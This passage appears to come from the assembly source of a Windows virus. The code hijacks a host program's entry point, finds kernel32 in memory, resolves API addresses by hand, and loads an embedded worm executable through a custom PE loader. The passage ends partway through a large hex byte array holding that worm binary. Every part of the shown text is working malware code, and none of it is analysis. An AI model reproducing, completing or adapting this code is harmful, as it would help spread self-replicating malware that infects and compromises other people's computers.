eax,HostEntryOffset-vxstart push eax; host entry offset mov eax,vxend-vxstart push eax ;code size call WormBinaryAddr sub eax,WormBinary-vxstart-2 push eax ;addr of virus base push ebx ;GetProcAddress push edx ;LoadLibraryA mov ebx,[esi.PEHANDLE.base] call JumpOverRunStr db 'run',0 JumpOverRunStr: pop esi call PEGetProcAddr or eax,eax jnz ContinueCallingRun add esp,7*4 jmp LeaveVirusCodeWithFree ContinueCallingRun: call eax or eax,eax jz LeaveVirusCodeWithFree pop edi ;free stack jmp LeaveVirusCode ;;;;;;;;;;;;;;; LeaveVirusCodeWithFree: pop edi; handle of the loaded dll mov ebx,[esp];kernel zone SearchKernelForFree: xor bx,bx cmp word ptr [ebx],'MZ' je KernelFoundForFree cmp word ptr [ebx],'ZM' je KernelFoundForFree sub ebx,1000h jmp SearchKernelForFree KernelFoundForFree: ;ebx->kernel base call JumpOverGetProcAddressForFree db 'GetProcAddress',0 JumpOverGetProcAddressForFree: pop esi call PEGetProcAddr or eax,eax jz LeaveVirusCode call JumpOverHeapFree db 'HeapFree',0 JumpOverHeapFree: push ebx call eax or eax,eax jz LeaveVirusCode push eax call JumpOverGetProcessHeapForFree db 'GetProcessHeap',0 JumpOverGetProcessHeapForFree: pop esi call PEGetProcAddr call eax ;eax=heap handle mov esi,eax FreeHandles: mov eax,[edi.PEHANDLE.base] sub eax,10000h mov eax,[eax] push eax push 0 push esi call dword ptr [esp+0ch] mov edi,[edi.PEHANDLE.imported_dlls] or edi,edi jnz FreeHandles pop eax LeaveVirusCode: call LeaveVirusCode2 LeaveVirusCode2: pop ebx SearchBase: xor bx,bx cmp word ptr [ebx],'MZ' je BaseFound cmp word ptr [ebx],'ZM' je BaseFound sub ebx,1000h jmp SearchBase ;note HostEntryOffset-vxstart must be aligned to 4...((BaseFound-vxstart+2)%4)=0 PADDING equ 4 -(((BaseFound+2-vxstart) - (4*((BaseFound+2-vxstart)/4)))) db PADDING dup (90h) BaseFound: add ebx,00000000h + offset ExitFirstGeneration - 400000h ;first generation only HostEntryOffset equ $-4 push ebx call myCreateFileAddr add eax,2 pop ebx add eax,HostEntryOffset-myCreateFile cmp dword ptr [eax],00000000h je EPOSupport jmp ebx EPOSupport: jmp vxend+20 ;when we encrypted and EPO we have reserved some more bytes with nops ;for avoiding problems, so we will jump there. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;Environment Functions ;note we want to load a pe file that we have in the own code, so we will give to PE loader ;this pseudo-read/create/setpointer functions, and in this manner we will load the own PE ;that we have here. ;Other thing to say is that myCreateFile will receive a file name. When we call Pe loader ;with this functions as parameters, we should give it a memory reserved zone in the filename ;parameter that createfile will use for keeping its own handle. FILEHANDLE struct CurrentSeek dd 0 FILEHANDLE ends FILEHANDLESIZE equ SIZE FILEHANDLE myReadFileAddr: call myReadFileAddr2 myReadFileAddr2: pop eax ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; myReadFile: pushad mov edi,[esp+8+32] mov esi,[esp+4+32] mov esi,[esi] mov ecx,[esp+0ch+32] mov edx,[esp+10h+32] mov [edx],ecx rep movsb mov ecx,[esp+0ch+32] mov esi,[esp+4+32] mov eax,[esi] add eax,ecx mov [esi],eax popad mov eax,1 ret 20 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; myCreateFileAddr: call myCreateFileAddr2 myCreateFileAddr2: pop eax ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; myCreateFile: mov eax,[esp+4] mov dword ptr [eax],00000000h ;its a FILEHANDLE struc ret 1ch ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; mySetFilePointerAddr: call mySetFilePointerAddr2 mySetFilePointerAddr2: pop eax ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; mySetFilePointer: pushad call WormBinaryAddr add eax,2 mov ebx,[esp+4+32] mov ecx,[esp+8+32] ;mov edx,[esp+10h+32] ;temporaly method seek_set always add eax,ecx mov [ebx],eax mov dword ptr [esp.Pushad_struc.Pushad_eax],eax popad ret 16 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ;PeLoader: ; ;Type: General. ; ;Description: This function will load a PE file for executing it without calling ; operating system loader. I had problems loading a entire PE file with ; normal imports (for example,kernel32). I have not tried 9x, but in ; NT i got problems loading for example kernel32 due ntdll.dll ; initialization. Super said me i should call LdrInitializeThunk ntdll's ; export, however this solution was not valid, al least for this case :( ; ;Parameters: This function will receive parameters in __stdcall calling convention. ; ; parameter 1: pointer to ascii string with the name of the PE ; file to load. ; parameter 2: pointer to real HeapAlloc kernel32 function. ; parameter 3: pointer to real HeapReAlloc kernel32 function. ; parameter 4: pointer to real CreateFile kernel32 function. ; parameter 5: pointer to real ReadFile kernel32 function. ; parameter 6: pointer to real SetFilePointer kernel32 function. ; parameter 7: HANDLE of heap of the process. ; parameter 8: pointer to real HeapFree kernel32 function. ; parameter 9: reserved. ; parameter 10: this paremeter should be null for external callers. ; ;Returned Values: ; none ; ;notes: ; All dependencies of the PE to be loaded must be in the same folder. ; In addition, you must set the folder of PE to be loaded as current ; folder before calling this function. ; This function will not check the integrity of the PE file. It will ; suppose the MZ/PE headers are good. ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;macros ;;;;;;;;;;;;;;;;; malloc macro malloc_macro_size local malloc_macro_leave pushad mov eax,malloc_macro_size and eax,0FFFF0000h add eax,00030000h push eax push HEAP_ZERO_MEMORY push dword ptr [ebp + PE_loader_hHeap] call dword ptr [ebp + PE_loader_pHeapAlloc] or eax,eax jz malloc_macro_leave push eax and eax,0FFFF0000h add eax,00010000h pop dword ptr [eax] add eax,00010000h malloc_macro_leave: mov [esp.Pushad_struc.Pushad_eax],eax popad endm ;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;; free macro free_macro_addr pushad mov eax,free_macro_addr sub eax,00010000h mov eax,[eax] push eax push 00000000h push dword ptr [ebp + PE_loader_hHeap] call dword ptr [ebp + PE_loader_pHeapFree] mov [esp.Pushad_struc.Pushad_eax],eax popad endm ;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;; open macro open_macro_filename push 00000000h push FILE_ATTRIBUTE_NORMAL push OPEN_EXISTING push 00000000h push FILE_SHARE_READ push GENERIC_READ push open_macro_filename call dword ptr [ebp + PE_loader_pCreateFile] endm ;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;; read macro read_macro_handle,read_macro_buffer,read_macro_size push 00000000h ;read bytes push 00000000h push esp add dword ptr [esp],4 push read_macro_size push read_macro_buffer push read_macro_handle call dword ptr [ebp + PE_loader_pReadFile] pop eax endm ;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;; seek macro seek_macro_handle,seek_macro_offset push FILE_BEGIN push 0 push seek_macro_offset push seek_macro_handle call dword ptr [ebp + PE_loader_pSetFilePointer] endm ;;;;;;;;;;;;;;;;; ;Types ;;;;;;;;;;;;;;;;; PEHANDLE struct base dd ? size dd ? pehdrs IMAGE_NT_HEADERS ? imported_dlls dd ? ;(PEHANDLE *) list PEHANDLE ends PEHANDLESIZE equ size PEHANDLE ;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;; ;Variables (offsets from ebp in stack) N_VARIABLES equ 3 ;;;;;;;;;;; pe_handle equ -4h ;pointer to a PEHANDLE structure hfile equ -8h ;file handle of PE to load temp equ -0ch ;temp data ;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;; ;Arguments (offsets from ebp in stack) PE_FileName equ 8h PE_loader_pHeapAlloc equ 0ch PE_loader_pHeapReAlloc equ 10h PE_loader_pCreateFile equ 14h PE_loader_pReadFile equ 18h PE_loader_pSetFilePointer equ 1ch PE_loader_hHeap equ 20h PE_loader_pHeapFree equ 24h PE_loader_reserved equ 28h PE_loader_FirstHandleOfList equ 2ch ;;;;;;;;;;;;;;;;; ;;;;;;;;; PeLoader: ;;;;;;;;; push ebp mov ebp,esp pushad pushfd sub esp,N_VARIABLES*4 ;opening PE to load ;;;;;;;;;;;; mov eax,dword ptr [ebp+PE_FileName] open eax or eax,eax jz LeavePeLoader mov dword ptr [ebp + hfile],eax ;;;;;;;;;;;; ;getting space for our memory handle ;;;;;;;;;;;; malloc PEHANDLESIZE or eax,eax jz LeavePeLoader mov dword ptr [ebp + pe_handle],eax ;;;;;;;;;;;; ;we search the needed size of memory for loading the PE file ;;;;;;;;;;;; mov eax,dword ptr [ebp + hfile] seek eax,0000003ch ;pointer to lfanew mov eax,dword ptr [ebp + hfile] lea ebx,dword ptr [ebp + temp] read eax,ebx,4 ;reading offset of PE header to temp mov eax,dword ptr [ebp + hfile] mov ebx,dword ptr [ebp + temp] add ebx,IMAGE_NT_HEADERS.NT_OptionalHeader.OH_SizeOfImage seek eax,ebx ;pointer to size of image in optional header mov eax,dword ptr [ebp + hfile] mov ebx,dword ptr [ebp + pe_handle] lea ebx,dword ptr [ebx.PEHANDLE.size] read eax,ebx,4 ;reading size of image in memory ;;;;;;;;;;;; ;we will reserve enought memory for loading the PE ;;;;;;;;;;;; mov eax,[ebp + pe_handle] mov eax,[eax.PEHANDLE.size] malloc eax or eax,eax jz LeavePeLoaderAndFree_1 mov ebx,[ebp + pe_handle] mov [ebx.PEHANDLE.base],eax ;;;;;;;;;;;; ;now we will get in memory dos and PE headers. ;;;;;;;;;;;; mov eax,dword ptr [ebp + hfile] seek eax,00000000h ;going to start of PE in disk mov eax,dword ptr [ebp + hfile] mov ebx,dword ptr [ebp + pe_handle] mov ebx,dword ptr [ebx.PEHANDLE.base] read eax,ebx,IMAGE_DOS_HEADERSIZE ;reading all dos header mov eax,dword ptr [ebp + hfile] mov ebx,dword ptr [ebp + pe_handle] mov ebx,dword ptr [ebx.PEHANDLE.base] mov ebx,dword ptr [ebx.IMAGE_DOS_HEADER.MZ_lfanew] seek eax,ebx ;going PE header in disk mov ebx,dword ptr [ebp + pe_handle] mov ebx,dword ptr [ebx.PEHANDLE.base] add ebx,[ebx.IMAGE_DOS_HEADER.MZ_lfanew] mov eax,dword ptr [ebp + hfile] read eax,ebx,IMAGE_NT_HEADERSSIZE ;reading PE header ;sections headers mov ebx,[ebp + pe_handle] mov ebx,[ebx.PEHANDLE.base] add ebx,[ebx.IMAGE_DOS_HEADER.MZ_lfanew] xor ecx,ecx mov cx,word ptr [ebx.IMAGE_NT_HEADERS.NT_FileHeader.FH_NumberOfSections] mov eax,IMAGE_SECTION_HEADERSIZE mul ecx add ebx,IMAGE_NT_HEADERSSIZE mov ecx,[ebp + hfile] read ecx,ebx,eax ;;;;;;;;;;;; ;Next step is to load sections in its rvas ;;;;;;;;;;;; mov ebx,[ebp + pe_handle] mov ebx,[ebx.PEHANDLE.base] mov edx,ebx add ebx,[ebx.IMAGE_DOS_HEADER.MZ_lfanew] xor ecx,ecx mov cx,word ptr [ebx.IMAGE_NT_HEADERS.NT_FileHeader.FH_NumberOfSections] add ebx,IMAGE_NT_HEADERSSIZE mov eax,[ebp + hfile] MapAllSections: mov esi,[ebx.IMAGE_SECTION_HEADER.SH_PointerToRawData] pushad seek eax,esi popad mov esi,[ebx.IMAGE_SECTION_HEADER.SH_VirtualAddress] add esi,edx mov edi,[ebx.IMAGE_SECTION_HEADER.SH_SizeOfRawData] pushad read eax,esi,edi popad add ebx,IMAGE_SECTION_HEADERSIZE loop MapAllSections ;;;;;;;;;;;; ;;;;;;;;;;;; ;At this point all pe should be loaded in memory, in its associated VAs. ;Things to do: ; Loading imported dlls. ; Resolving Imports. ; Resolving Relocs. ;;;;;;;;;;;; mov ebx,[ebp + pe_handle] mov ebx,[ebx.PEHANDLE.base] call ResolveRelocs call ResolveImports mov ebx,[ebp + pe_handle] mov ebx,[ebx.PEHANDLE.base] mov eax,[ebx+3ch] add eax,ebx mov eax,[eax.IMAGE_NT_HEADERS.NT_OptionalHeader.OH_AddressOfEntryPoint] or eax,eax jz PELoader_NotDllMain add eax,ebx push 0 push 1 ;DLL_PROCESS_ATTACH push ebx call eax ;dllmain PELoader_NotDllMain: ;Leaving funcion ;;;;;;;;;;;; LeavePeLoaderWithNoError: mov eax,[ebp + pe_handle] add esp,N_VARIABLES*4 popfd mov dword ptr [esp.Pushad_struc.Pushad_eax],eax popad pop ebp retn 28h LeavePeLoaderAndFree_2: mov eax,[ebp + pe_handle] mov eax,[eax.PEHANDLE.base] free eax LeavePeLoaderAndFree_1: mov eax,[ebp + pe_handle] free eax LeavePeLoader: add esp,N_VARIABLES*4 popfd popad pop ebp retn 28h ;;;;;;;;;;;; ;ebp ->frame of PELoader function ;PE must be loaded in memory, in good associated RVAs. ResolveImports: pushad pushfd mov ebx,[ebp + pe_handle] mov ebx,[ebx.PEHANDLE.base] mov esi,ebx add esi,dword ptr [ebx+3ch] mov esi,dword ptr [esi.IMAGE_NT_HEADERS.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress] or esi,esi jz EndResolvingImports add esi,ebx ;esi-> IMAGE_IMPORT_DESCRIPTOR array NextImageImportDescriptor: mov eax,[esi] or eax,eax jz EndResolvingImports call ResolveImageImportDescriptor add esi,IMAGE_SIZEOF_IMPORT_DESCRIPTOR jmp NextImageImportDescriptor EndResolvingImports: popfd popad ret ;;;;;;;;;;;; ;ebp->frame of PELoader function ;esi->current IMAGE_IMPORT_DESCRIPTOR ResolveImageImportDescriptor: pushfd pushad mov ebx,[ebp + pe_handle] mov ebx,[ebx.PEHANDLE.base] mov edi,[esi.IMAGE_IMPORT_DESCRIPTOR.ID_FirstThunk] add edi,ebx mov eax,[esi.IMAGE_IMPORT_DESCRIPTOR.ID_OriginalFirstThunk] or eax,eax jnz ImportDescriptorNameSourceSelected mov eax,[esi.IMAGE_IMPORT_DESCRIPTOR.ID_FirstThunk] ImportDescriptorNameSourceSelected: mov edx,esi mov esi,eax add esi,ebx ;edx-> import descriptor ;esi-> array of pointers to names of imported functions ;edi-> array of pointers to destinations of VAs of imported functions ;ebx-> MZ pushad ;saving registers with previous information cmp dword ptr [ebp+PE_loader_FirstHandleOfList],00000000h jne ItsNotFirstRecursion mov eax,dword ptr [ebp+pe_handle] mov dword ptr [ebp+PE_loader_FirstHandleOfList],eax push dword ptr [ebp+pe_handle] jmp AllParametersForRecursion ItsNotFirstRecursion: push esi mov esi,dword ptr [edx.IMAGE_IMPORT_DESCRIPTOR.ID_Name] add esi,ebx mov eax,[ebp + PE_loader_FirstHandleOfList] call SearchDllHandleByName pop esi or eax,eax jnz HandleOfImportedFound push dword ptr [ebp+PE_loader_FirstHandleOfList] AllParametersForRecursion: push dword ptr [ebp + PE_loader_reserved] push dword ptr [ebp + PE_loader_pHeapFree] push dword ptr [ebp + PE_loader_hHeap] push dword ptr [ebp + PE_loader_pSetFilePointer] push dword ptr [ebp + PE_loader_pReadFile] push dword ptr [ebp + PE_loader_pCreateFile] push dword ptr [ebp + PE_loader_pHeapReAlloc] push dword ptr [ebp + PE_loader_pHeapAlloc] mov eax,dword ptr [edx.IMAGE_IMPORT_DESCRIPTOR.ID_Name] add eax,ebx push eax call PeLoader ;eax->handle of the imported loaded module mov edx,eax mov eax,[ebp + pe_handle] call GoEndListOfPEhandles ;we add the new handle to the end of the list of pehandles mov dword ptr [eax.PEHANDLE.imported_dlls],edx mov eax,edx HandleOfImportedFound: mov edx,eax xchg edx,ebx mov dword ptr [esp.Pushad_struc.Pushad_edx],edx mov dword ptr [esp.Pushad_struc.Pushad_ebx],ebx popad ;restoring regs with this information: ;esi-> array of pointers to names of imported functions ;edi-> array of pointers to destinations of VAs of imported functions ;edx-> MZ ;ebx-> pehandle of the loaded module ;now,we can resolve imports of this module mov ebx,[ebx.PEHANDLE.base] NextImportedFunction: cmp dword ptr [esi],00000000h jz EndImportingFunctions push esi mov esi,[esi] add esi,edx add esi,2 call PEGetProcAddr pop esi ;eax->function stosd lodsd jmp NextImportedFunction EndImportingFunctions: popad popfd ret ;;;;;;;;;;;; ;;;;;;;;;;;; ;eax->pehandle node ;the function will return a pointer to the last pehandle node GoEndListOfPEhandles: pushad pushfd xor edx,edx SearchEndOfListOfPEhandles: or eax,eax jz EndOfListOfPEhandlesFound mov edx,eax mov eax,[eax.PEHANDLE.imported_dlls] jmp SearchEndOfListOfPEhandles EndOfListOfPEhandlesFound: popfd mov dword ptr [esp.Pushad_struc.Pushad_eax],edx popad ret ;;;;;;;;;;;; ;;;;;;;;;;;; ;esi->name of dll ;eax->first pehandle ;it will return a pointer to the found pehandle or null if not found SearchDllHandleByName: pushad pushfd ISearchDllHandleByName: or eax,eax jz HandleByModuleNameFound mov ebx,[eax.PEHANDLE.base] mov edx,[ebx+3ch] add edx,ebx mov edx,[edx.IMAGE_NT_HEADERS.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress] add edx,ebx mov edi,[edx.IMAGE_EXPORT_DIRECTORY.ED_Name] add edi,ebx CompareString or ecx,ecx jz HandleByModuleNameFound mov eax,[eax.PEHANDLE.imported_dlls] jmp ISearchDllHandleByName HandleByModuleNameFound: popfd mov dword ptr [esp.Pushad_struc.Pushad_eax],eax popad ret ;;;;;;;;;;;; ;;;;;;;;;;;; ;ebx ->MZ addr ;PE must be loaded in memory, in good associated RVAs. ResolveRelocs: pushad pushfd mov esi,ebx add esi,dword ptr [ebx+3ch] mov edx,ebx sub edx,dword ptr [esi.IMAGE_NT_HEADERS.NT_OptionalHeader.OH_ImageBase] ;delta mov esi,dword ptr [esi.IMAGE_NT_HEADERS.NT_OptionalHeader.OH_DirectoryEntries.DE_BaseReloc.DD_VirtualAddress] or esi,esi jz EndResolveRelocs add esi,ebx ;esi->relocs ;ebx->current base ;edx->delta ParseRelocations: cmp dword ptr [esi],0 je EndResolveRelocs mov ecx,dword ptr [esi+4] sub ecx,8 shr ecx,1 ;ecx = n fixups ParseFixUps: mov ax,word ptr [esi+2*ecx+8-2] ;parsing fixups from the last to the first one push eax and eax,00000FFFh ;eax = offset in the page of the point to relocate mov edi,dword ptr [esi] add edi,ebx add edi,eax ;real address for fixing up pop eax test eax,0000F000h jz NoApplyThisFixUp add dword ptr [edi],edx ;adding delta NoApplyThisFixUp: loop ParseFixUps add esi,[esi+4] jmp ParseRelocations EndResolveRelocs: popfd popad ret ;;;;;;;;;;;; ;;;;;;;;;;;; ;ebx->MZ hdr ;esi->name of the exported function ;PE must be loaded in memory PEGetProcAddr: pushad pushfd mov edi,[ebx+3ch] add edi,ebx mov edi,dword ptr [edi.IMAGE_NT_HEADERS.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress] add edi,ebx ;edi->IMAGE_EXPORT_DIRECTORY mov ecx,[edi.IMAGE_EXPORT_DIRECTORY.ED_NumberOfNames] mov edx,[edi.IMAGE_EXPORT_DIRECTORY.ED_AddressOfNames] add edx,ebx ;edx->array of pointers to functions names SearchFunctionName: push edi push ecx mov edi,[edx+ecx*4-4] add edi,ebx CompareString mov eax,ecx pop ecx pop edi or eax,eax jz EndSearchFunctionName loop SearchFunctionName EndSearchFunctionName: or ecx,ecx jz EndPEGetProcAddrErr ;ecx = index in the table of pointers to functions names mov edx,[edi.IMAGE_EXPORT_DIRECTORY.ED_AddressOfNameOrdinals] add edx,ebx mov ax,word ptr [edx+ecx*2-2];ax = ordinal mov edx,[edi.IMAGE_EXPORT_DIRECTORY.ED_AddressOfFunctions] add edx,ebx mov eax,[edx+eax*4] ;eax = addr of the function add eax,ebx EndPEGetProcAddrNoErr: popfd mov dword ptr [esp.Pushad_struc.Pushad_eax],eax popad ret EndPEGetProcAddrErr: popfd popad xor eax,eax ret ;;;;;;;;;;;; WormBinaryAddr: call WormBinaryAddr2 WormBinaryAddr2: pop eax ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; WormBinary: db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h, 004h, 000h, 000h, 000h, 0ffh, 0ffh db 000h, 000h, 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 040h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 0b8h, 000h, 000h, 000h, 00eh, 01fh, 0bah, 00eh, 000h, 0b4h db 009h, 0cdh, 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h, 069h, 073h, 020h, 070h db 072h, 06fh, 067h, 072h, 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh, 074h, 020h db 062h, 065h, 020h, 072h, 075h, 06eh, 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah, 024h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 059h, 05ah, 01dh, 0deh, 01dh, 03bh, 073h, 08dh, 01dh, 03bh, 073h, 08dh db 01dh, 03bh, 073h, 08dh, 0e2h, 01bh, 076h, 08dh, 01ch, 03bh, 073h, 08dh, 01bh, 018h db 079h, 08dh, 01ah, 03bh, 073h, 08dh, 0e2h, 01bh, 077h, 08dh, 01ch, 03bh, 073h, 08dh db 052h, 069h, 063h, 068h, 01dh, 03bh, 073h, 08dh, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 050h, 045h, 000h, 000h, 04ch, 001h, 002h, 000h, 02bh, 060h, 047h, 041h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0e0h, 000h, 00eh, 021h, 00bh, 001h db 006h, 000h, 000h, 042h, 000h, 000h, 000h, 004h, 000h, 000h, 000h, 000h, 000h, 000h db 08bh, 04dh, 000h, 000h, 000h, 010h, 000h, 000h, 000h, 060h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h, 004h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 070h db 000h, 000h, 000h, 002h, 000h, 000h, 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h, 000h, 000h, 010h, 000h, 000h, 010h db 000h, 000h, 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h, 010h, 051h, 000h, 000h db 03ch, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 060h, 000h, 000h, 0a8h, 002h db 000h, 000h, 000h, 016h, 000h, 000h, 01ch, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 02eh, 074h db 065h, 078h, 074h, 000h, 000h, 000h, 04ch, 041h, 000h, 000h, 000h, 010h, 000h, 000h db 000h, 042h, 000h, 000h, 000h, 002h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 020h, 000h, 000h, 0e0h, 02eh, 072h, 065h, 06ch db 06fh, 063h, 000h, 000h, 0b0h, 002h, 000h, 000h, 000h, 060h, 000h, 000h, 000h, 004h db 000h, 000h, 000h, 044h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 040h, 000h, 000h, 042h, 0c8h, 050h, 000h, 000h, 060h, 08bh db 07dh, 024h, 0fch, 081h, 065h, 010h, 0efh, 000h, 000h, 000h, 075h, 007h, 0c7h, 045h db 010h, 001h, 000h, 000h, 000h, 081h, 065h, 014h, 0efh, 000h, 000h, 000h, 075h, 007h db 0c7h, 045h, 014h, 001h, 000h, 000h, 000h, 081h, 065h, 00ch, 0ffh, 0ffh, 01fh, 000h db 075h, 007h, 0c7h, 045h, 00ch, 040h, 000h, 000h, 000h, 08bh, 0c7h, 02bh, 045h, 024h db 08bh, 04dh, 018h, 089h, 001h, 083h, 0c0h, 010h, 03bh, 045h, 020h, 073h, 00ch, 0ffh db 04dh, 01ch, 07ch, 007h, 0e8h, 005h, 000h, 000h, 000h, 0ebh, 0e2h, 061h, 0c9h, 0c3h db 0c7h, 045h, 0fch, 001h, 000h, 000h, 000h, 0c7h, 045h, 0f8h, 008h, 000h, 000h, 000h db 0e8h, 0e4h, 003h, 000h, 000h, 089h, 045h, 0c8h, 0c1h, 0e0h, 003h, 089h, 045h, 0c4h db 0e8h, 0d1h, 003h, 000h, 000h, 089h, 045h, 0c0h, 0c1h, 0e0h, 003h, 089h, 045h, 0bch db 08bh, 045h, 014h, 023h, 045h, 010h, 0a9h, 00fh, 000h, 000h, 000h, 074h, 013h, 0b8h db 002h, 000h, 000h, 000h, 0e8h, 093h, 003h, 000h, 000h, 089h, 045h, 0fch, 0c1h, 0e0h db 003h, 089h, 045h, 0f8h, 0b8h, 002h, 000h, 000h, 000h, 0e8h, 080h, 003h, 000h, 000h db 089h, 045h, 0dch, 0d1h, 0e0h, 089h, 045h, 0d8h, 0c1h, 0e0h, 002h, 089h, 045h, 0d4h db 0b8h, 004h, 000h, 000h, 000h, 0e8h, 068h, 003h, 000h, 000h, 0c1h, 0e0h, 003h, 089h db 045h, 0d0h, 0e8h, 070h, 003h, 000h, 000h, 0c1h, 0e0h, 003h, 089h, 045h, 0cch, 0e8h db 070h, 003h, 000h, 000h, 089h, 045h, 0f4h, 0c1h, 0e0h, 003h, 089h, 045h, 0e4h, 0e8h db 062h, 003h, 000h, 000h, 089h, 045h, 0ech, 0e8h, 05fh, 003h, 000h, 000h, 089h, 045h db 0f0h, 0c1h, 0e0h, 003h, 089h, 045h, 0e0h, 0e8h, 051h, 003h, 000h, 000h, 089h, 045h db 0e8h, 0e8h, 04eh, 003h, 000h, 000h, 089h, 045h, 0b8h, 0c1h, 0e0h, 003h, 089h, 045h db 0b4h, 0e8h, 040h, 003h, 000h, 000h, 089h, 045h, 0b0h, 0b8h, 01fh, 000h, 000h, 000h db 0e8h, 00bh, 003h, 000h, 000h, 096h, 046h, 08bh, 055h, 00ch, 08bh, 045h, 0fch, 0d1h db 0eah, 073h, 00eh, 04eh, 00fh, 084h, 027h, 001h, 000h, 000h, 04eh, 00fh, 084h, 02dh db 001h, 000h, 000h, 0d1h, 0eah, 073h, 00eh, 04eh, 00fh, 084h, 02fh, 001h, 000h, 000h db 04eh, 00fh, 084h, 036h, 001h, 000h, 000h, 0d1h, 0eah, 073h, 007h, 04eh, 00fh, 084h db 032h, 001h, 000h, 000h, 0d1h, 0eah, 073h, 007h, 04eh, 00fh, 084h, 047h, 001h, 000h db 000h, 0d1h, 0eah, 073h, 007h, 04eh, 00fh, 084h, 041h, 001h, 000h, 000h, 0d1h, 0eah db 073h, 00eh, 04eh, 00fh, 084h, 044h, 001h, 000h, 000h, 04eh, 00fh, 084h, 045h, 001h db 000h, 000h, 0d1h, 0eah, 073h, 00eh, 04eh, 00fh, 084h, 042h, 001h, 000h, 000h, 04eh db 00fh, 084h, 04ch, 001h, 000h, 000h, 0d1h, 0eah, 073h, 00eh, 04eh, 00fh, 084h, 059h db 001h, 000h, 000h, 04eh, 00fh, 084h, 05fh, 001h, 000h, 000h, 0d1h, 0eah, 073h, 007h db 04eh, 00fh, 084h, 05eh, 001h, 000h, 000h, 0d1h, 0eah, 073h, 007h, 04eh, 00fh, 084h db 060h, 001h, 000h, 000h, 0d1h, 0eah, 073h, 007h, 04eh, 00fh, 084h, 062h, 001h, 000h db 000h, 0d1h, 0eah, 073h, 00eh, 04eh, 00fh, 084h, 065h, 001h, 000h, 000h, 04eh, 00fh db 084h, 06eh, 001h, 